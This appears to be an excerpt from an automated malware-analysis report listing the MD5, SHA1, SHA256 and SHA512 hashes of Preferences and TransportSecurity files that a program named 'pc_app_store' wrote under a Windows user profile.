SHA256 b76248f4d9e0666d469001b94aa5c8c70a5aa038a24ca64d62ad8b6cfdb7910a
SHA512 5e94836d1da91a0fdd61dad131edcde9e2e91810ddf70c0dfe1d6f8d95f9484227b02960ad628252e860c6f6a6509115b94080e5ad489d50e47959f9f2ffe568

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 334ef1857cf15cc045937367cf3d73bc
SHA1 f9031d44956b9564d5d95e798ce45f8ae89dbc23
SHA256 80bde10fa76b67b63445873dd5387dff983c8898194d7b641e3b57148cd88e68
SHA512 6e6f7790c7658753f2422dd2d8581d7d1948046f54b5bc2e5509d44162eee2e5209d54b301cd24030f8e207d9bdbe6bed26fd10f9671af19d6e794a509f36217

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 bbb79de80535b99d232adc39ccfcdfd0
SHA1 5f41edec11bc2b8662064eef2a52c83f933cf456
SHA256 a7af6d97578a0847419ba8eb18b417def4ce000d15334501116fa86c446181bb
SHA512 e12f301b19bb1b2bafb0319ac75e2222517d5d3eae43c92a1c96be8b8607541ea5de7dec21e255b3512b33c06f5a75e074c77c66e63f29f5d728a6d8181cad5a

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\TransportSecurity

MD5 841359e60c194e9fd43b5078f1ad190b
SHA1 578eae5bff649de28672ed931fd283d8eb899eae
SHA256 89a35ad684f93671c895884c1beca6647d5da7b305f9f70bb8a81ed56f8a1412
SHA512 02ae94a35ee21aff7409717817b52b4440fd37b2d00b9313fdab88b38d707d7a801e24b44952eac5e6b6055360d7fac593c7cd6ef1a8c7d0444d80b959fd55da

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 08a10719f29e60e108d022fb6271175f
SHA1 56a78b8ce24785657f39521bf7059098f8401d27
SHA256 51b64cb06a5513a5cb32dd1f9c31ee8c80f5a4a0f2c85589131455851a4f1194
SHA512 c1e70b4ce5d3a7dfa9f52b55e27523b4b3d793981c040a4aa69267eaa295c6960ca9af1e98eb48c8d1b3984df191d6fc9a5ad246ba70560a5f330f666ecc3c30

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 60dd27e5bb8fe917f9337007454dba27
SHA1 e6a3579553911367a92ffb134d638816ff641d86
SHA256 e1011293b29206a373a1b3153ed151141d573b95e3c32d418b0c4ecd44e2d499
SHA512 9a68d34a2b719c1d2b3b6e140abf12adc72837d7b4c7956c0d9e57ddab4114bd04716f32b95ed4ae5e90dce2a234937962148c9b3252b376ab4079874c9a430b

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 d76c09d5d53c4f33f8a26264c853a548
SHA1 ea65c73dac09d7986f94bdfec15c27b0b105a603
SHA256 4d8880c5c2df8709bc8f11b6ebda92e213443d6391a4d403a8c2db32081137dc
SHA512 bbb27f6bdf36a802279711a2c32db5c7d70fcfb6007883ba87de85b7c23bd275effe5ca25a8e2cbaa2de4a525b221cff8b0f76fae03b76def25734c47937bce0

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 00aa77df8bdfba376c13a54b750c9f39
SHA1 401c1c4048f8805a533ecff3272cc1e0c2d688cd
SHA256 08b66d84562f1f67e826beeccd70bf1703fe75ef31b694a012de522e603061cd
SHA512 96313e4943a5dec076063be374d1c347a0ef3362a674e5b335e1dabbdaa9e392d737c18a5b038c8bb6f2f33a0a1cc9a9f357f66c6a924033ff485594f2fad766

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 f402858769043c03ddbf6b67081859e0
SHA1 6a444f03ec5420c10d41668a9ce076354a6dc292
SHA256 6c3b0a6ec2022f57ea332e63710a714299f5059bfe94111af85f962d415046da
SHA512 c466a66d271c7e63a2ba1ddcfbeae63a18208cdb3d09e114bae8e99d94c8646b828d0af00548fddbbae5bde16ded198ac981c1cf96122469ead7ec9a8f591f15

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 7b8a5c7e304fcb61f9b7d352dfeb13db
SHA1 67a6410f7954752a06ef89a8fa194328a314c592
SHA256 3e28bcd1f5a75e0a48a907c70de47725e5303ba10f1ad1c4a53a4f61ede7347d
SHA512 98886e43cfc3351972fc785eef646e70856c682caf3e29825bc7cf37ea5eee8636ae5176f8af1d0cdcf68163f14cf685fe47bf917a1dec273389d89c7c00c74b

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 d296c292a9c666b84ec31abe41fd75ac
SHA1 d221f915a6d1c04e3271a5a1342753fde99af3f0
SHA256 018ff99831a5f3ecab46bc0ebd17952ea582278686fac1bc9eb737ed217ac660
SHA512 55f92ceeb404d9a0bc96a8c939d9b3d02b034d5c0e63bf81c537e3bdbdbcf4708ee01e7a76e9391b068f47fbf027adb1f206876ff2f84c65ebbce9deaf14fb68

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 966a6e470e94bbb5ad0f72f9105ecc1d
SHA1 deac8e73361f1d236b098284c4e7b104ac2eafb5
SHA256 810e9dd7a24bfe079076040e58b76a556581ad69733cc716e0823b1f10fd0b61
SHA512 086ff53fb9cb58406f498a8c414c5756f2fd7b8d8500584060b3c8af795bd0740ff8bddf5ccb69af8ba7d1473ae2489370115e2637e1908cafe640f7b3f79a32